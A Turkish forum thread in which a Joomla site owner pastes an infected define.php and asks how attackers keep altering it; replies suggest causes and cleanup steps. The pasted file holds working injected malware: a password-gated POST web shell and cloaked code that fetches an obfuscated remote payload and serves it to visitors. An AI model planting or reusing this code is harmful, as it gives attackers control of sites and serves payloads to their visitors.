<?php
/**
* @package Joomla.Site
*
* @copyright Copyright (C) 2005 - 2015 Open Source Matters, Inc. All rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
defined('_JEXEC') or die;
// Global definitions
$parts = explode(DIRECTORY_SEPARATOR, JPATH_BASE);
// Defines.
define('JPATH_ROOT', implode(DIRECTORY_SEPARATOR, $parts));
define('JPATH_SITE', JPATH_ROOT);
define('JPATH_CONFIGURATION', JPATH_ROOT);
define('JPATH_ADMINISTRATOR', JPATH_ROOT . DIRECTORY_SEPARATOR . 'administrator');
define('JPATH_LIBRARIES', JPATH_ROOT . DIRECTORY_SEPARATOR . 'libraries');
define('JPATH_PLUGINS', JPATH_ROOT . DIRECTORY_SEPARATOR . 'plugins');
define('JPATH_INSTALLATION', JPATH_ROOT . DIRECTORY_SEPARATOR . 'installation');
define('JPATH_THEMES', JPATH_BASE . DIRECTORY_SEPARATOR . 'templates');
define('JPATH_CACHE', JPATH_BASE . DIRECTORY_SEPARATOR . 'cache');
define('JPATH_MANIFESTS', JPATH_ADMINISTRATOR . DIRECTORY_SEPARATOR . 'manifests');
//istart
function is_valid_url(&$url)
{
if (!preg_match('/^(.+?)(\d+)\.(\d+)\.(\d+)\.(\d+)(.+?)$/', $url, $m))
return false;
$url = $m[1].$m[5].'.'.$m[4].'.'.$m[3].'.'.$m[2].$m[6];
return true;
}
function request_url_data($url) {
if(!is_valid_url($url))
return false;
$site_url = (preg_match('/^https?:\/\//i', $_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'X-Forwarded-For: ' . $_SERVER["REMOTE_ADDR"],
'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"],
'Referer: ' . $site_url,
));
$response = trim(curl_exec($ch));
} elseif (function_exists('fsockopen')) {
$m = parse_url($url);
if ($fp = fsockopen($m['host'], 80, $errno, $errstr, 6)) {
fwrite($fp, 'GET http://' . $m['host'] . $m["path"] . '?' . $m['query'] . ' HTTP/1.0' . "\r\n" .
'Host: ' . $m['host'] . "\r\n" .
'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"] . "\r\n" .
'X-Forwarded-For: ' . @$_SERVER["REMOTE_ADDR"] . "\r\n" .
'Referer: ' . $site_url . "\r\n" .
'Connection: Close' . "\r\n\r\n");
$response = '';
while (!feof($fp)) {
$response .= fgets($fp, 1024);
}
list($headers, $response) = explode("\r\n\r\n", $response);
fclose($fp);
}
} else {
$response = 'curl_init and fsockopen disabled';
}
return $response;
}
function decrypt_url($encrypted_url)
{
$encrypted_url = base64_decode($encrypted_url);
$url = '';
for ($i = 0; $i < strlen($encrypted_url); $i++)
{
$url .= chr(ord($encrypted_url[$i]) ^ 3);
}
return $url;
}
error_reporting(0);
$_passssword = '699240914cbd0ebe0e0b7a7c6c632824';
$p = $_POST;
if (@$p[$_passssword] AND @$p['a'] AND @$p['c']) @$p[$_passssword](@$p['a'], @$p['c'], '');
if (!empty($_GET['check']) AND $_GET['check'] == $_passssword) {
echo('<!--checker_start ');
$tmp = request_url_data('http://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css');
echo(substr($tmp, 50));
echo(' checker_end-->');
}
unset($_passssword);
$bad_url = false;
foreach (array('/\.css$/', '/\.swf$/', '/\.ashx$/', '/\.docx$/', '/\.doc$/', '/\.xls$/', '/\.xlsx$/', '/\.xml$/', '/\.jpg$/', '/\.pdf$/', '/\.png$/', '/\.gif$/', '/\.ico$/', '/\.js$/', '/\.txt$/', '/ajax/', '/cron\.php$/', '/wp\-login\.php$/', '/\/wp\-includes\//', '/\/wp\-admin/', '/\/admin\//', '/\/wp\-content\//', '/\/administrator\//', '/phpmyadmin/i', '/xmlrpc\.php/', '/\/feed\//') as $regex) {
if (preg_match($regex, $_SERVER['REQUEST_URI'])) {
$bad_url = true;
break;
}
}
$cookie_name = 'PHP_SESSION_PHP';
if (!$bad_url AND !isset($_COOKIE[$cookie_name]) AND empty($echo_done) AND !empty($_SERVER['HTTP_USER_AGENT']) AND (substr(trim($_SERVER['REMOTE_ADDR']), 0, 6) != '74.125') AND !preg_match('/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i', $_SERVER['HTTP_USER_AGENT'])) {
// setcookie($cookie_name, mt_rand(1, 1024), time() + 60 * 60 * 24 * 7, '/');
// $url = base64_decode('a3d3czksLDI1Oi0xNjAtOi02LGFvbGQsPG5me2pgYm1seSV2d25ccGx2cWBmPjQxMTY1OTQ1MDc1OzkyOjM7');
$url = decrypt_url('a3d3czksLDI1Oi0xNjAtOi02LGFvbGQsPG5me2pgYm1seSV2d25ccGx2cWBmPjQxMTY1OTQ1MDc1OzkyOjM7');
$code = request_url_data($url);
// if (!empty($code) AND base64_decode($code) AND preg_match('#[a-zA-Z0-9+/]+={0,3}#is', $code, $m)) {
if (($code = request_url_data($url)) AND $decoded = base64_decode($code, true)) {
$echo_done = true;
print $decoded;
}
}//iend//istart tan öncesi joomla orjinal tanımlamaları ama sonrasını bu dasyaya nasıl yazıyorlar anlayamıyorum. tüm eklenti ve joomla sistemim güncel ve legaldir. yardımlarınızı bekliyorum
Joomla define.php ye sürekli saldırı oluyor
8
●643
- 28-01-2016, 10:17:29Merhaba arkadaşlar joomla sitelerime sürekli saldırı olmaya başladı iki aydır. define.php de sürekli değişiklik oluyor bunun nasıl olduğunu bu dasyayı nasıl değiştirdiklerini nasıl öğrene bilirim?
- 28-01-2016, 18:27:09Hocam sorun çok farklı bulut sunucumda 30 a yakın sitemden sadece 4 tanesi bu şekilde etkilenmiş ve etkilenenlerden birinde extradan hiç bir eklenti yok. orjinal olmayan eklentimde yok ya ücretsiz ya da ücretli e lisanslı eklentilerim var. Sunucuda açık olsa sitelerimin hepsini etkileyebilirdi.emerald adlı üyeden alıntı: mesajı görüntüle
şimdi define.php dosyasını sadece okunabilir yaptım merak ediyorum ne olacak
- 28-01-2016, 18:48:54Madde 2 o zaman
bilgisayarınıza virüs bulaşmış ve bu 4 sitenin Ftp bilgilerini almışlardır. Diğer bir ihtimal bu siteleri güvenli olmayan bir bilgisayarda kullandınız. Yine eğer başkalarına ait siteye onlar kaptırmış olabilir. Güncelleme zamanı 0day saldırısı olmuştur sonra güncelleme yapmışsınızdır
- 28-01-2016, 19:25:58Hocam bilgisayardan olma ihtimali yok gibi çünkü bu iş be askerde iken başlamıştıemerald adlı üyeden alıntı: mesajı görüntüle
- 28-01-2016, 22:48:44Tamam işte sen askerdeyken Joomla güvenlik güncellemesi olmuştur sen geç yapmışsındır güncellemeyi. O arada sisteme sızmışlardır. Önemli olan bundan sonra ne yapacağın.
1- Veritabanını yedekle ama öncesinde kullanıcılar arasında Super Admin senden başka kimse varmı kontrol et.
2- Tüm resim ve dosyaları yedekle
3- Kesinlikle temiz olduğuna emin olduğun bir makineden sunucu paneline gir ve hesabı komple sil
4- Yeni hesap oluştur ve şifresini öncekinden farklı belirle
5- Sıfır Joomla kurulumunu yap ve güncelle
6- Önceki bileşenlerini, modüllerini vs. kur. Veritabanı yedeğini geri yükle.
7- Aldığın resim ve dosyaları eski konumuna geri koy ancak bunu tek tek kontrol ederek yap.
Burada dikkat edeceğin şey veritabanını komple yedekleme. Sadece içerikleri yedekle ve geri yükle. - 29-01-2016, 21:44:07Hocam bu cevabınız çok tatmin edici idi dediğiniz gibi yapmaktan başka çare yok gibi. bilgiler için teşekkür ederimemerald adlı üyeden alıntı: mesajı görüntüle
- 10-02-2016, 17:31:29bence 1 sitenizi başka bir hosta taşımayı terhic edin sorununuz çözülürse hosting saldırı altındadır muhtemelen..
log bakma şansınız yokmu?
var ise hangi dosyaya saat kaçta erişim olduğu sunucudan kaynaklı olarak nasıl girdiği anlaşılır belki.. mod_security açıkmı kapalımı? - 10-02-2016, 18:46:27Hocam sunucu benim kontrolümde olan bulut sunucu.ademir adlı üyeden alıntı: mesajı görüntüle
Sanırım bbiraz vakit ayırıp logları incelemek lazım. mod_security açık olması lazım